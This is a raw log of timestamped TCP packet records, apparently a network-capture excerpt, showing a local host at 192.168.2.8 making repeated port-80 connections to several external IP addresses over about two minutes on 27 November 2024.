                                                                        Nov 27, 2024 20:48:07.996664047 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:08.346776009 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:08.346887112 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:08.573827028 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:08.573898077 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:08.815474987 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:08.840517044 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:09.793556929 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:09.834933996 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:09.859276056 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:10.250601053 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:10.250648975 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:10.250673056 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:10.250716925 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:10.871737957 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:10.885890007 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:10.885991096 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:11.262783051 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:11.262844086 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:12.058836937 CET8049739154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:12.058911085 CET4973980192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:12.102368116 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:12.102449894 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:12.117924929 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:12.762337923 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:13.118822098 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:13.118900061 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:13.474410057 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:13.474484921 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:13.621747017 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:13.715466022 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:14.634480000 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:14.634495020 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:14.634593010 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:14.640410900 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:14.739933014 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:15.360200882 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:15.627023935 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:15.627085924 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:15.637339115 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:15.691098928 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:15.691133022 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:15.691210985 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:15.701860905 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:16.371715069 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:16.634758949 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:16.637351036 CET4974080192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:16.698848009 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:16.701375008 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:17.118226051 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:17.121404886 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:17.168606043 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:17.237833023 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:18.320924044 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:18.891849995 CET8049740154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:19.403644085 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:19.403712988 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:19.403805017 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:19.407149076 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:19.871206999 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:20.411572933 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:20.413388968 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:22.434329033 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:22.866117001 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:22.872204065 CET8049746154.23.184.194192.168.2.8
                                                                        Nov 27, 2024 20:48:22.879064083 CET4974680192.168.2.8154.23.184.194
                                                                        Nov 27, 2024 20:48:24.855643034 CET4975280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:24.980856895 CET8049752209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:24.982423067 CET4975280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:24.998116016 CET4975280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:25.122941971 CET8049752209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:26.357942104 CET8049752209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:26.357995987 CET8049752209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:26.358041048 CET4975280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:26.513420105 CET4975280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:27.532670021 CET4976280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:27.658082008 CET8049762209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:27.658158064 CET4976280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:27.675154924 CET4976280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:27.796139002 CET8049762209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:29.061094999 CET8049762209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:29.061120987 CET8049762209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:29.061233997 CET4976280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:29.184433937 CET4976280192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:30.204570055 CET4976880192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:30.331067085 CET8049768209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:30.331140041 CET4976880192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:30.349726915 CET4976880192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:30.475650072 CET8049768209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:30.475678921 CET8049768209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:31.681597948 CET8049768209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:31.681615114 CET8049768209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:31.682357073 CET4976880192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:31.856323957 CET4976880192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:32.875422955 CET4977380192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:32.999406099 CET8049773209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:32.999553919 CET4977380192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:33.012577057 CET4977380192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:33.132580042 CET8049773209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:34.503015995 CET8049773209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:34.503143072 CET8049773209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:34.505426884 CET4977380192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:34.533420086 CET4977380192.168.2.8209.74.77.108
                                                                        Nov 27, 2024 20:48:34.653409958 CET8049773209.74.77.108192.168.2.8
                                                                        Nov 27, 2024 20:48:40.415925980 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:40.536041021 CET804978735.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:40.537548065 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:40.552148104 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:40.679121971 CET804978735.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:42.059588909 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:42.124039888 CET804978735.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:42.124057055 CET804978735.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:42.124094009 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:42.124133110 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:42.181772947 CET804978735.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:42.181823969 CET4978780192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:43.078262091 CET4979480192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:43.204564095 CET804979435.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:43.205763102 CET4979480192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:43.220160007 CET4979480192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:43.340219975 CET804979435.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:44.733594894 CET4979480192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:44.854103088 CET804979435.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:44.857494116 CET4979480192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:45.775484085 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:45.895958900 CET804980135.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:45.896059036 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:45.918971062 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:46.039230108 CET804980135.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:46.039252996 CET804980135.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:47.434566021 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:47.501039982 CET804980135.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:47.501117945 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:47.561578989 CET804980135.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:47.561647892 CET4980180192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:48.462693930 CET4980680192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:48.582746029 CET804980635.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:48.582911015 CET4980680192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:48.593539000 CET4980680192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:48.716706038 CET804980635.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:50.229485035 CET804980635.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:50.229536057 CET804980635.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:50.229682922 CET4980680192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:50.232953072 CET4980680192.168.2.835.220.176.144
                                                                        Nov 27, 2024 20:48:50.353318930 CET804980635.220.176.144192.168.2.8
                                                                        Nov 27, 2024 20:48:55.603375912 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:55.723536968 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:55.723674059 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:55.738332987 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:55.859538078 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038175106 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038206100 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038222075 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038269997 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:57.038350105 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038389921 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:57.038393021 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038408041 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038424015 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.038444042 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:57.039072990 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.039114952 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:57.039243937 CET8049822104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:57.039288998 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:57.247096062 CET4982280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:58.267646074 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:58.387923002 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:58.388060093 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:58.403767109 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:58.540992022 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735100985 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735179901 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735198975 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735255003 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:59.735522985 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735534906 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735651970 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:59.735677004 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735688925 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735754967 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:59.735815048 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.735856056 CET8049828104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:48:59.736032963 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:48:59.919075012 CET4982880192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:00.939434052 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:01.060897112 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:01.061002970 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:01.087374926 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:01.345603943 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:01.345618010 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.590986967 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604022026 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604083061 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604146957 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604160070 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604197979 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604233980 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604257107 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604295015 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604399920 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604412079 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604439974 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604475021 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604537010 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604589939 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604614973 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604626894 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.604680061 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.604715109 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:02.711282969 CET8049837104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:02.711338043 CET4983780192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:03.609920025 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:03.730005026 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:03.730149031 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:03.739448071 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:03.861985922 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132086992 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132158041 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132170916 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132265091 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.132399082 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132411957 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132422924 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132436991 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132451057 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.132472992 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.132735968 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132783890 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.132823944 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132891893 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:05.132932901 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.137387991 CET4984280192.168.2.8104.21.36.5
                                                                        Nov 27, 2024 20:49:05.257411003 CET8049842104.21.36.5192.168.2.8
                                                                        Nov 27, 2024 20:49:19.043998957 CET4987680192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:19.167754889 CET8049876199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:19.167882919 CET4987680192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:19.184127092 CET4987680192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:19.306766033 CET8049876199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:20.312544107 CET8049876199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:20.312638998 CET8049876199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:20.312654018 CET8049876199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:20.312762976 CET4987680192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:20.700452089 CET4987680192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:21.721774101 CET4988380192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:21.845025063 CET8049883199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:21.845196009 CET4988380192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:21.867069006 CET4988380192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:21.988605976 CET8049883199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:22.991703033 CET8049883199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:22.991743088 CET8049883199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:22.991755962 CET8049883199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:22.991815090 CET4988380192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:23.372385025 CET4988380192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:24.390889883 CET4988980192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:24.514208078 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:24.517904997 CET4988980192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:24.533813000 CET4988980192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:24.656721115 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:24.656744957 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:25.673831940 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:25.673867941 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:25.673882008 CET8049889199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:25.676486969 CET4988980192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:26.044964075 CET4988980192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:27.063240051 CET4989580192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:27.189099073 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:27.189182043 CET4989580192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:27.202955961 CET4989580192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:27.323906898 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:28.380670071 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:28.380812883 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:28.380825043 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:28.381127119 CET4989580192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:28.383742094 CET4989580192.168.2.8199.59.243.227
                                                                        Nov 27, 2024 20:49:28.503994942 CET8049895199.59.243.227192.168.2.8
                                                                        Nov 27, 2024 20:49:33.889885902 CET4990980192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:34.012165070 CET8049909104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:34.012491941 CET4990980192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:34.029903889 CET4990980192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:34.158622980 CET8049909104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:35.528672934 CET4990980192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:35.649935007 CET8049909104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:35.652031898 CET4990980192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:36.547306061 CET4991680192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:36.668194056 CET8049916104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:36.668396950 CET4991680192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:36.683995008 CET4991680192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:36.808339119 CET8049916104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:38.200637102 CET4991680192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:38.325002909 CET8049916104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:38.325234890 CET4991680192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:39.220498085 CET4992280192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:39.347409964 CET8049922104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:39.347489119 CET4992280192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:39.364450932 CET4992280192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:39.486546993 CET8049922104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:39.486572981 CET8049922104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:40.872965097 CET4992280192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:40.996592999 CET8049922104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:40.996659994 CET4992280192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:41.893956900 CET4992880192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:42.015463114 CET8049928104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:42.018238068 CET4992880192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:42.029921055 CET4992880192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:42.149959087 CET8049928104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:44.327820063 CET8049928104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:44.328068972 CET8049928104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:44.328207016 CET4992880192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:44.330773115 CET4992880192.168.2.8104.21.91.191
                                                                        Nov 27, 2024 20:49:44.457549095 CET8049928104.21.91.191192.168.2.8
                                                                        Nov 27, 2024 20:49:50.092356920 CET4994580192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:50.212841988 CET804994513.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:50.213970900 CET4994580192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:50.229971886 CET4994580192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:50.350040913 CET804994513.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:51.405424118 CET804994513.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:51.405476093 CET4994580192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:51.733484030 CET4994580192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:51.860208988 CET804994513.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:52.750976086 CET4995480192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:52.927603960 CET804995413.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:52.927695990 CET4995480192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:52.946002960 CET4995480192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:53.066229105 CET804995413.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:54.135061979 CET804995413.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:54.138159990 CET4995480192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:54.450726986 CET4995480192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:54.570837021 CET804995413.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:55.471148014 CET4996080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:55.591398001 CET804996013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:55.591501951 CET4996080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:55.612376928 CET4996080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:55.732672930 CET804996013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:55.732687950 CET804996013.248.169.48192.168.2.8
